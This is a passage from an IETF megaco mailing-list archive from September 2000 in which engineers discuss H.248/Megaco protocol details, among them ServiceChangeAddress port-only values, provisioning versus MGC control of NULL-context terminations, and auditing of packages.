> > > > > > > the version of the profile supported.
> > > > > > >
> > > > > > > A.2
> > > > > > > ServiceChangeParm ::= SEQUENCE
> > > > > > > {
> > > > > > >         serviceChangeMethod     ServiceChangeMethod,
> > > > > > >         serviceChangeAddress
> ServiceChangeAddress OPTIONAL,
> > > > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > > > ServiceChangeProfile OPTIONAL,
> > > > > > >         serviceChangeReason     Value,
> > > > > > >         serviceChangeDelay
> > > INTEGER(0..4294967295) OPTIONAL,
> > > > > > >                                     -- 32 bit
> unsigned integer
> > > > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > > > >         timeStamp               TimeNotation OPTIONAL,
> > > > > > >         nonStandardData         NonStandardData OPTIONAL,
> > > > > > >         ...
> > > > > > > }
> > > > > > >
> > > > > > > ServiceChangeResParm ::= SEQUENCE
> > > > > > > {
> > > > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > > > >         serviceChangeAddress
> ServiceChangeAddress OPTIONAL,
> > > > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > > > ServiceChangeProfile OPTIONAL,
> > > > > > >         ...
> > > > > > > }
> > > > > > >
> > > > > > > B.2
> > > > > > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> > > > > SLASH Version
> > > > > > >
> > > > > > >
> > > > > > > Cheers, Christian
> > > > > > >
> > > > >
> > > > >
> > >
> > >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 09:56:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08353
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 09:56:29 -0400 (EDT)
Received: from standards (47.234.32.16:3067) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92ED4@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:39:51 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4489 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 09:39:51 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92ED3@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:39:50
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA03625; Wed, 13 Sep 2000 09:53:12 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA18856; Wed, 13 Sep 2000 09:53:14 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8RKNL>; Wed, 13 Sep 2000 09:52:58 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67886C@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 13 Sep 2000 09:52:55 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Flemming and I favor (a).

Given the state of things, what I would like to propose is:
1) The implementation guide state that use of ServiceChangeAddress is not
encouraged
2) State in the implementation guide that MGCs must be able to cope with
ServiceChangeAddress with either a full address or just a port number.

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 06, 2000 3:40 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> OK, we have three choices:
> (a) deprecate use of ServiceChangeAddress in favour of
> ServiceChangeMgcId
> (and assume it is never used by the MG)
> (b) allow specification of port only, with the parser able to
> distinguish
> from other forms because of the lack of punctuation (seems feasible)
> (c) require that the full address be specified.
>
> (b) is basically the current situation, with a note in the
> Implementor's
> Guide to warn that the contents may consist of a bare port number and
> specifying that in that case the IP address to be used is the
> same as the
> address to which the receiver of the ServiceChangeAddress is currently
> sending its requests.
>
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: Wednesday, September 06, 2000 2:16 PM
> > To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
> > Bharat Kaul
> > Cc: megaco@standards.nortelnetworks.com
> > Subject: RE: Supplying only a port on a ServiceChangeAddress
> >
> >
> > One more thing:
> > >The ABNF syntax of ServiceChangeAddress is VALUE, which permits
> > >designation of a port only within a quoted string.  The
> > >difference between this and the ASN.1 syntax is what started this
> > >whole thread, but is irrelevant because the functionality is
> > >still available.
> >
> > Value allows 1*(SafeChar), which would permit a port number (no
> > punctuation).  One system did exactly that at the Interop
> > event.  Either we
> > have to allow that, or explicitly disallow it.
> >
> > Brian
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 10:17:36 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA08945
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 10:17:35 -0400 (EDT)
Received: from standards (47.234.32.16:3067) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92F08@standards.nortelnetworks.com>; Wed, 13 Sep 2000 10:02:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4563 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 10:02:27 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB92F07@standards.nortelnetworks.com>; Wed, 13 Sep 2000 10:02:26
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id HAA29257; Wed, 13 Sep 2000 07:15:48 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67886C@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BF8D21.EDFA4C58@cisco.com>
Date:         Wed, 13 Sep 2000 10:20:17 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Considering everything, that seems like a reasonable way forward. Personally,
I wouldn't mind seeing 1 being even stronger in its language.

-- Flemming

"Rosen, Brian" wrote:

> Flemming and I favor (a).
>
> Given the state of things, what I would like to propose is:
> 1) The implementation guide state that use of ServiceChangeAddress is not
> encouraged
> 2) State in the implementation guide that MGCs must be able to cope with
> ServiceChangeAddress with either a full address or just a port number.
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Wednesday, September 06, 2000 3:40 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > OK, we have three choices:
> > (a) deprecate use of ServiceChangeAddress in favour of
> > ServiceChangeMgcId
> > (and assume it is never used by the MG)
> > (b) allow specification of port only, with the parser able to
> > distinguish
> > from other forms because of the lack of punctuation (seems feasible)
> > (c) require that the full address be specified.
> >
> > (b) is basically the current situation, with a note in the
> > Implementor's
> > Guide to warn that the contents may consist of a bare port number and
> > specifying that in that case the IP address to be used is the
> > same as the
> > address to which the receiver of the ServiceChangeAddress is currently
> > sending its requests.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > Sent: Wednesday, September 06, 2000 2:16 PM
> > > To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
> > > Bharat Kaul
> > > Cc: megaco@standards.nortelnetworks.com
> > > Subject: RE: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > One more thing:
> > > >The ABNF syntax of ServiceChangeAddress is VALUE, which permits
> > > >designation of a port only within a quoted string.  The
> > > >difference between this and the ASN.1 syntax is what started this
> > > >whole thread, but is irrelevant because the functionality is
> > > >still available.
> > >
> > > Value allows 1*(SafeChar), which would permit a port number (no
> > > punctuation).  One system did exactly that at the Interop
> > > event.  Either we
> > > have to allow that, or explicitly disallow it.
> > >
> > > Brian
> > >
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 10:27:34 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09171
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 10:27:34 -0400 (EDT)
Received: from standards (47.234.32.16:3067) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92F26@standards.nortelnetworks.com>; Wed, 13 Sep 2000 10:12:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4599 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 10:12:25 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92F25@standards.nortelnetworks.com>; Wed, 13 Sep 2000 10:12:24
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA06812; Wed, 13 Sep 2000 10:25:42 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA28139; Wed, 13 Sep 2000 10:25:45 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8RMCT>; Wed, 13 Sep 2000 10:25:29 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67886D@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 13 Sep 2000 10:25:25 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "knayar@HSS.HNS.COM" <knayar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This seems to be a case of a change being made in Geneva without a
discussion.  Shame on me for not noticing.

See my responses below marked by [br]

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Wednesday, September 13, 2000 7:13 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> Resonses marked by [PTT].
>
> > -----Original Message-----
> > From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> > Sent: Wednesday, September 13, 2000 1:10 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > Hi Tom, Brian
> >
> > Some confusion is ensuing from the replies......
> >
> > Do we have a consensus about the following:
> > 1.   Default values are values specified in the packages.
> [PTT] In the packages, and sometimes in the main protocol document.
>
> > 2.   Provisioned values are values configured at MG end.
> [PTT] Right.
>
> >
> > AND
> > that we have two options do decide from
> >
> > Option 1
> > MGC when modifies termination properties in the NULL context,
> > changes the
> > default/ provisioned values.
> > These changes would be made to the package properties
> > associated with the
> > termination only.
> [PTT] No. We got rid of that in Geneva (I guess, based on
> Brian's detective
> work).  I may be fuzzy about exactly when, but I can tell you
> why: you could
> get nonsensical results.  In particular, events and signals
> set up in the
> NULL context BEFORE connecting the call would probably make
> no sense at all
> once the connection is dissolved.
[br] the principal followed since the beginning of time here is that
the MGC is in control.  Provisioning is a crutch we use when we don't
have a good answer (my usual quote is "provisioning is evil").  It's
possibly useful in some circumstances BUT, the MGC should be able to
control the gateway where the protocol specifies it should, and provisioning
should NOT override what the MGC wants the gateway to do.  Specifically,
the provisioned value should EVER override the state the MGC wants
the property to be set to.

In this particular issue, you worry about the state of the termination
just before it is added to a context, and specifically, if the MGC wants
it to be in that state just after it is subtracted.  I say, that is up
to the MGC:
        If it wants the state to be the same, then it leaves it in that
                state, and does the add
        If it wants the state to be different, then it changes it just
                before it Adds it, or just after it subtracts it
In no case is it "correct" for it to go to a state not decided by the MGC.

This behavior might affect the "model" you use.  Specifically, depending
on what you want to have happen, this would affect when you create a
context.
Some models have lots of state changes in Null context.  Others create a
context as soon as activity is detected, and make state changes in that
context.  There is no "right" way here, but the behavior discussed on this
thread affects how an MGC may wish to do things.

It's perfectly reasonable to go to some provisioned state upon boot.
That is the only time provisioning should affect an MGC settable parameter.
If the MGC doesn't change it, great.  If it does, the provisioned value is,
at that point, not an interesting value -- the MGC is in control.

>
> > If yes the following questions still remain unanswered:
> > Do we allow provisioning of the termination properties after
> > MGC modifies them
> > in the NULL context.?
[br]Provisioning is like that.  You can change provisioning while there is
an active control association.

> > If yes then how does MGC know about this asynchronous change
> > ? This is because
> > if MGC doesn't know about the change there is no sanctity of
> > the changes made by
> > the MGC. (One solution presented was that provisioning should
> > be followed by a
> > service change)
[br]I think the MG should issue a ServiceChange on the affected
terminations,
telling the MGC about them.  I'll refine that slightly in that if the change

doesn't matter to the MGC, the MG need not do it (in particular, if an Audit

wouldn't show any change).

> >
> > Option 2
> > MGC when modifies termination properties in the NULL context,
> > changes the
> > default/ provisioned values only temporarily. When the
> > termination returns to
> > the NULL context, default/ provisioned values are restored.
> [PTT] That's how the document reads now.
>
> > If yes the following questions still remain unanswered:
> > Do we assume that MGC would audit the properties whenever it
> > establishes an
> > association with a MG and store a copy of the default/
> > provisioned values. And,
> > explicitly send modify for termination properties whenever it
> > needs to change
> > the termination property values.
> [PTT] That's a workable strategy.
[br]Well, it's workable only if there are no "glitch" conditions.
If there is a property where a temporary change is significant,
than the MGC cannot control the property (since there is no way
to perform the modify atomically with the subtract).

Of course I think it's the wrong thing to do - provisioning should not
override what the MGC wants the state to be.  I covered this in a prior
message - to retain control, the MGC has to do a modify on every
subtract.

Of course this does not deal with the problem of failover.  This is the
part that is not workable.  The MGC doesn't know what the state will be
if it takes over an MG with post-boot state.

>
> > Do we allow provisioning of the termination properties at run-time?
> > If yes then how does MGC know about this asynchronous change
> > ? This is because
> > if MGC doesn't know about the change there is no sanctity of
> > the audited values
> > stored by MGC. (One solution presented was that provisioning
> > should be followed
> > by a service change)
> [PTT] I think the service change would be a good idea.  We
> should look at
> putting this into the Implementor's Guide if it doesn't
> contradict anything
> already in the spec.
[br] I agree

>
> >
> > Option 1 seems to be more appropriate, but the unanswered
> > questions need to be
> > appropriately addressed. We would like to have others views on this.
> >
> > -Kapil Nayar
> > Hughes Software Systems Ltd.
[br] I'm not sure what to do at this point.  The change was made without
appropriate discussion, but it is done.  I guess first, I'd like to hear
other opinions on whether they like things the way the documents state,
or the way they were before this change.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 13:16:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA13109
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 13:16:12 -0400 (EDT)
Received: from standards (47.234.32.16:4262) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92FC4@standards.nortelnetworks.com>; Wed, 13 Sep 2000 13:01:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4801 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 13:01:04 -0400
Received: from qhars002.nortel.com (47.101.112.102:38485) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92FC3@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          13:01:00 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 13 Sep 2000
          18:03:30 +0100
Received: from zrtpd00y.us.nortel.com by zrtps06s.us.nortel.com; Wed, 13 Sep
          2000 13:00:30 -0400
Received: by zrtpd00y.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SZAHXZYF>; Wed, 13 Sep 2000 13:00:29 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01DA4.1CF3DDC0"
X-Orig: <crigano@americasm01.nt.com>
Message-ID:  <5F68FAE98163D21193750000F81AC9BE0257FF55@zrtpd00x.us.nortel.com>
Date:         Wed, 13 Sep 2000 13:00:26 -0400
Reply-To: Chris Rigano <crigano@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Chris Rigano <crigano@NORTELNETWORKS.COM>
Subject:      The implementation guide .
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01DA4.1CF3DDC0
Content-Type: text/plain;
        charset="iso-8859-1"

Is there a Draft available?

Best regards,

Chris

------_=_NextPart_001_01C01DA4.1CF3DDC0
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2652.35">
<TITLE>The implementation guide .</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2 FACE="Arial">Is there a Draft available?</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">Best regards,</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">Chris</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01DA4.1CF3DDC0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 18:46:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18719
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 18:46:05 -0400 (EDT)
Received: from standards (47.234.32.16:1279) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB931F5@standards.nortelnetworks.com>; Wed, 13 Sep 2000 18:31:10 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5488 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 18:31:09 -0400
Received: from qhars002.nortel.com (47.101.112.102:53283) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB931F4@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          18:31:09 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 13 Sep 2000
          23:43:38 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 13 Sep
          2000 18:43:01 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AHZRS>; Wed, 13 Sep 2000 18:43:01 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D84@zcard00g.ca.nortel.com>
Date:         Wed, 13 Sep 2000 18:42:58 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

That seems reasonable.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Wednesday, September 13, 2000 9:53 AM
> To: Taylor, Tom-PT [NORSE:B901:EXCH];
> MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Supplying only a port on a ServiceChangeAddress
>
>
> Flemming and I favor (a).
>
> Given the state of things, what I would like to propose is:
> 1) The implementation guide state that use of
> ServiceChangeAddress is not
> encouraged
> 2) State in the implementation guide that MGCs must be able
> to cope with
> ServiceChangeAddress with either a full address or just a port number.
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Wednesday, September 06, 2000 3:40 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > OK, we have three choices:
> > (a) deprecate use of ServiceChangeAddress in favour of
> > ServiceChangeMgcId
> > (and assume it is never used by the MG)
> > (b) allow specification of port only, with the parser able to
> > distinguish
> > from other forms because of the lack of punctuation (seems feasible)
> > (c) require that the full address be specified.
> >
> > (b) is basically the current situation, with a note in the
> > Implementor's
> > Guide to warn that the contents may consist of a bare port
> number and
> > specifying that in that case the IP address to be used is the
> > same as the
> > address to which the receiver of the ServiceChangeAddress
> is currently
> > sending its requests.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > Sent: Wednesday, September 06, 2000 2:16 PM
> > > To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
> > > Bharat Kaul
> > > Cc: megaco@standards.nortelnetworks.com
> > > Subject: RE: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > One more thing:
> > > >The ABNF syntax of ServiceChangeAddress is VALUE, which permits
> > > >designation of a port only within a quoted string.  The
> > > >difference between this and the ASN.1 syntax is what started this
> > > >whole thread, but is irrelevant because the functionality is
> > > >still available.
> > >
> > > Value allows 1*(SafeChar), which would permit a port number (no
> > > punctuation).  One system did exactly that at the Interop
> > > event.  Either we
> > > have to allow that, or explicitly disallow it.
> > >
> > > Brian
> > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 20:31:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA19532
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 20:31:17 -0400 (EDT)
Received: from standards (47.234.32.16:2016) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9325D@standards.nortelnetworks.com>; Wed, 13 Sep 2000 20:15:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5618 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 20:15:59 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB93255@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          20:05:58 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8E0JMp17835; Thu, 14 Sep 2000 02:19:22 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          CAA16418; Thu, 14 Sep 2000 02:19:21 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id CAA15121; Thu, 14 Sep 2000
          02:19:17 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67886A@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C01700.65E5CFED@ericsson.com>
Date:         Thu, 14 Sep 2000 11:08:32 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Audit of Packages
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

Sounds perfectly reasonable to me. Do you think this example is
something that can go in the implementors guide in the implementation
notes section to clarify for people what should be returned?

Cheers, Christian

"Rosen, Brian" wrote:
>
> Assume the gateway has 4 terminations
> t1/1, t1/2, t2/1 and t2/2
> Assume t1/* has packages aaa and bbb implemented on them
> and t2/* has packages ccc and ddd implemented on them
> Assume context 1 has t1/1 and t2/1 in it, and context 2 has
> t1/2 and t2/2 in it.
>
> Then I think
> Context=1{Audit=t1/1{Audit{Packages}} returns
> Context=1{Audit=t1/1{Packages{aaa,bbb}}}}
>
> Context=*{Audit=t2/*{Audit{Packages}} returns
>         Context=1{Audit=t2/1{Packages{ccc,ddd}}},
>         Context=2{Audit=t2/2{Packages{ccc,ddd}}}
>
> Context=*{W-Audit=*{Audit{Packages}} returns
> Context=*{W-Audit=*{Packages{aaa,bbb,ccc,ddd}}
>
> Brian
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > Sent: Monday, September 11, 2000 7:05 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Audit of Packages
> >
> >
> > G'Day Brian,
> >
> > What does the response look like in 3) below in the case of normal
> > response and in the case of w- wilcard response?
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > In some private correspondence, there was some continuing
> > > confusion on auditValue of Packages.  Here is my current
> > > understanding:
> > >
> > > 1. If you audit ROOT, using NULL context, you get the list
> > > of Packages implemented on ROOT. You don't get Packages
> > > implemented on any other terminations.
> > >
> > > 2. If you audit ALL, using NULL context, you get the union of
> > > packages implemented on any termination in NULL.  Since, right
> > > after boot, all terminations are in NULL, this is the normal
> > > way you get the list of packages implemented on the gateway.
> > > A notable side effect:
> > >         ROOT is not in ALL.
> > >         Therefore, Context=-{AuditValue=*{Audit{Packages}}}
> > >                 DOES NOT get you packages implemented on ROOT
> > >
> > > 3. If you audit ALL, using ALL context, you get the union
> > > of packages implemented on any termination in any Context other
> > > than NULL.  You would do this if you needed the packages list
> > > when some terminations were in contexts other than NULL.
> > >
> > > Please note that if you ask for an audit of ALL in ALL, and there
> > > are no terminations in Contexts other than NULL, you get an
> > > error (431 - No TerminationID matched a wildcard).
> > >
> > > Is that everyone else's understanding?
> > >
> > > Brian
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 20:31:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA19541
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 20:31:18 -0400 (EDT)
Received: from standards (47.234.32.16:2016) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB93264@standards.nortelnetworks.com>; Wed, 13 Sep 2000 20:16:12 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5619 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 20:16:12 -0400
